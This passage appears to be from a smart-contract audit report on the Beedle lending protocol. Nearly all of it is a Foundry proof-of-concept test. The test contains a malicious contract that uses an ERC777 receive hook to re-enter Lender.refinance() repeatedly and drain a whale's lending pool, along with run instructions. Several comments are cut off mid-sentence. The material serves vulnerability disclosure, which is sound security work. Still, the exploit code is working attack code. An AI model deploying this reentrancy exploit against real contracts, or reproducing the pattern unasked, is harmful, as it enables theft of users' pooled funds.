Please note that the attacker's starting balances of the TKN and USDC may be much smaller and he will still be able to achieve the same results, although in the bigger number of reentrancy iterations.
The code below demonstrates the described attack vector. Save it as a .t.sol
file under test/
folder (for example, /test/ExploitRefinanceReentrancy.t.sol
), and run it with the following command: forge test --match-test testAttackerStealsPoolExploitingReentrancyInRefinance -vv
.
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {ERC777, IERC1820Registry} from "lib/openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import {ERC20Mock} from "lib/openzeppelin-contracts/contracts/mocks/ERC20Mock.sol";
import {Lender} from "../src/Lender.sol";
import {Pool, Borrow, Refinance} from "../src/utils/Structs.sol";
* @dev ERC777 Mock, used for proving reentrancy
*/
contract TestToken is ERC777 {
constructor() ERC777("test", "t", new address[](0)) {}
function mint(address account, uint256 amount, bytes memory userData, bytes memory operatorData) public {
_mint(account, amount, userData, operatorData, true);
}
}
* @dev Contract that the attacker will use to interact with Beedle protocol
* @notice Exploits reentrancy vulnerability
*/
contract MaliciousContract {
address private immutable REGISTRY = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
address private immutable i_owner;
address private immutable i_lender;
address private immutable i_borrowToken;
address private immutable i_lendToken;
uint256 private s_reentrancyRound;
bytes32 private s_poolId;
Refinance[] private s_refinances;
Borrow private s_borrowTemplate;
constructor(address _lender, address _borrowToken, address _lendToken, uint256 _amount) {
i_owner = msg.sender;
i_lender = _lender;
i_borrowToken = _borrowToken;
i_lendToken = _lendToken;
IERC1820Registry(REGISTRY).setInterfaceImplementer(
address(this), keccak256("ERC777TokensRecipient"), address(this)
);
ERC777(i_borrowToken).approve(i_lender, _amount);
}
modifier onlyOwner() {
require(msg.sender == i_owner, "Not an owner!");
_;
}
* @dev Creates a pool on behalf of the attacker
*/
function setPool(Pool memory p, uint256 attackerTotalCollateral) external onlyOwner returns (bytes32 poolId) {
ERC20Mock(p.loanToken).approve(i_lender, p.poolBalance);
ERC20Mock(p.collateralToken).approve(i_lender, attackerTotalCollateral);
poolId = Lender(i_lender).setPool(p);
s_poolId = poolId;
}
* @dev Creates a borrow on behalf of the attacker
*/
function borrow(Borrow[] memory borrows) external onlyOwner {
s_borrowTemplate = borrows[0];
Lender(i_lender).borrow(borrows);
}
* @dev Refinances the attacker's loan to whale's pool
*/
function refinance(Refinance memory refinance) external onlyOwner {
s_refinances.push(refinance);
Lender(i_lender).refinance(s_refinances);
Lender(i_lender).removeFromPool(s_poolId, 10000 ether);
uint256[] memory loanIdsToRepay = new uint256[](1);
loanIdsToRepay[0] = 0;
ERC20Mock(i_lendToken).approve(i_lender, 10000 ether);
Lender(i_lender).repay(loanIdsToRepay);
ERC777(i_borrowToken).transfer(i_owner, ERC777(i_borrowToken).balanceOf(address(this)));
ERC20Mock(i_lendToken).transfer(i_owner, ERC20Mock(i_lendToken).balanceOf(address(this)));
}
* @dev ERC777 hook on receiving tokens
* @notice Will be called multiple times due to reentrancy in the Lender.refinance()
*/
function tokensReceived(address payable, address, address, uint256, bytes calldata, bytes calldata) external {
++s_reentrancyRound;
if (s_reentrancyRound > 1 && s_reentrancyRound <= 100 && s_reentrancyRound % 2 == 1) {
Borrow[] memory borrowsToMake = new Borrow[](1);
borrowsToMake[0] = Borrow({poolId: s_borrowTemplate.poolId, debt: s_borrowTemplate.debt, collateral: 1});
Lender(i_lender).borrow(borrowsToMake);
Lender(i_lender).refinance(s_refinances);
}
}
}
contract ExploitSetPoolReentrancy is Test {
address private constant REGISTRY_ADDRESS = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
bytes private constant REGISTRY_BYTECODE = bytes(
hex"608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029"
);
uint256 private constant WHALE_DEPOSIT = 1_000_000 ether;
uint256 private constant ATTACKER_DEPOSIT = 10_000 ether;
uint256 private constant ATTACKER_COLLATERAL = 10_001 ether;
uint256 private constant EXPECTED_ENDING_BALANCE = 497500000000000000000050;
ERC20Mock private borrowToken;
TestToken private lendToken;
Lender private lender;
MaliciousContract maliciousContract;
address private whale = makeAddr("whale");
address private attacker = makeAddr("attacker");
bytes32 private whalePoolId;
function setUp() external {
vm.etch(REGISTRY_ADDRESS, REGISTRY_BYTECODE);
lender = new Lender();
borrowToken = new ERC20Mock();
lendToken = new TestToken();
vm.prank(attacker);
maliciousContract =
new MaliciousContract(address(lender), address(borrowToken), address(lendToken), ATTACKER_DEPOSIT);
lendToken.mint(whale, WHALE_DEPOSIT, "", "");
lendToken.mint(attacker, ATTACKER_DEPOSIT, "", "");
borrowToken.mint(attacker, ATTACKER_COLLATERAL);
vm.prank(whale);
lendToken.approve(address(lender), WHALE_DEPOSIT);
vm.startPrank(attacker);
lendToken.approve(address(lender), ATTACKER_DEPOSIT);
borrowToken.approve(address(lender), ATTACKER_DEPOSIT);
vm.stopPrank();
Pool memory whalesPool = Pool({
lender: whale,
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 10 ether,
poolBalance: WHALE_DEPOSIT,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.prank(whale);
whalePoolId = lender.setPool(whalesPool);
}
function testAttackerStealsPoolExploitingReentrancyInRefinance() external {
uint256 attackerInitialLendTokenBalance = lendToken.balanceOf(attacker);
uint256 attackerInitialBorrowTokenBalance = borrowToken.balanceOf(attacker);
assertEq(attackerInitialLendTokenBalance, ATTACKER_DEPOSIT);
assertEq(attackerInitialBorrowTokenBalance, ATTACKER_COLLATERAL);
assertEq(lendToken.balanceOf(address(lender)), WHALE_DEPOSIT);
his malicious contract with initial deposit */
vm.startPrank(attacker);
lendToken.transfer(address(maliciousContract), ATTACKER_DEPOSIT);
borrowToken.transfer(address(maliciousContract), ATTACKER_COLLATERAL);
Pool memory attackersPool = Pool({
lender: address(maliciousContract),
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 1,
poolBalance: ATTACKER_DEPOSIT,
maxLoanRatio: type(uint256).max,
auctionLength: 1 days,
interestRate: 1,
outstandingLoans: 0
});
bytes32 attackerPoolId = maliciousContract.setPool(attackersPool, ATTACKER_COLLATERAL);
Borrow memory borrow =
Borrow({poolId: attackerPoolId, debt: ATTACKER_DEPOSIT - 1, collateral: ATTACKER_COLLATERAL - 1 ether});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = borrow;
maliciousContract.borrow(borrows);
has the initial balance of ERC777 token. Before the loan information is updated, the maliciousContract reenters the refinance() method
and claims the debt again. For each reentrancy round, the attacker has to borrow the stolen money from his pool, in order for the outstandingLoans
decrementation not to underflow.*/
Refinance memory refinance = Refinance({
loanId: 0,
poolId: whalePoolId,
debt: ATTACKER_DEPOSIT,
collateral: ATTACKER_COLLATERAL - 1 ether
});
maliciousContract.refinance(refinance);
vm.stopPrank();
uint256 attackerEndingLendTokenBalance = lendToken.balanceOf(attacker);
uint256 attackerEndingBorrowTokenBalance = borrowToken.balanceOf(attacker);
console.log("-----------------Lend Token--------------");
console.log("s:", attackerInitialLendTokenBalance / 1e18);
console.log("e:", attackerEndingLendTokenBalance / 1e18);
console.log("-----------------Borrow Token--------------");
console.log("s:", attackerInitialBorrowTokenBalance / 1e18);
console.log("e:", attackerEndingBorrowTokenBalance / 1e18);
console.log("---Remained in the Protocol---");
console.log("LND", lendToken.balanceOf(address(lender)) / 1e18);
console.log("BRW", borrowToken.balanceOf(address(lender)) / 1e18);
assertEq(attackerEndingLendTokenBalance, EXPECTED_ENDING_BALANCE);
assertEq(attackerEndingBorrowTokenBalance, attackerInitialBorrowTokenBalance - 49);
}
}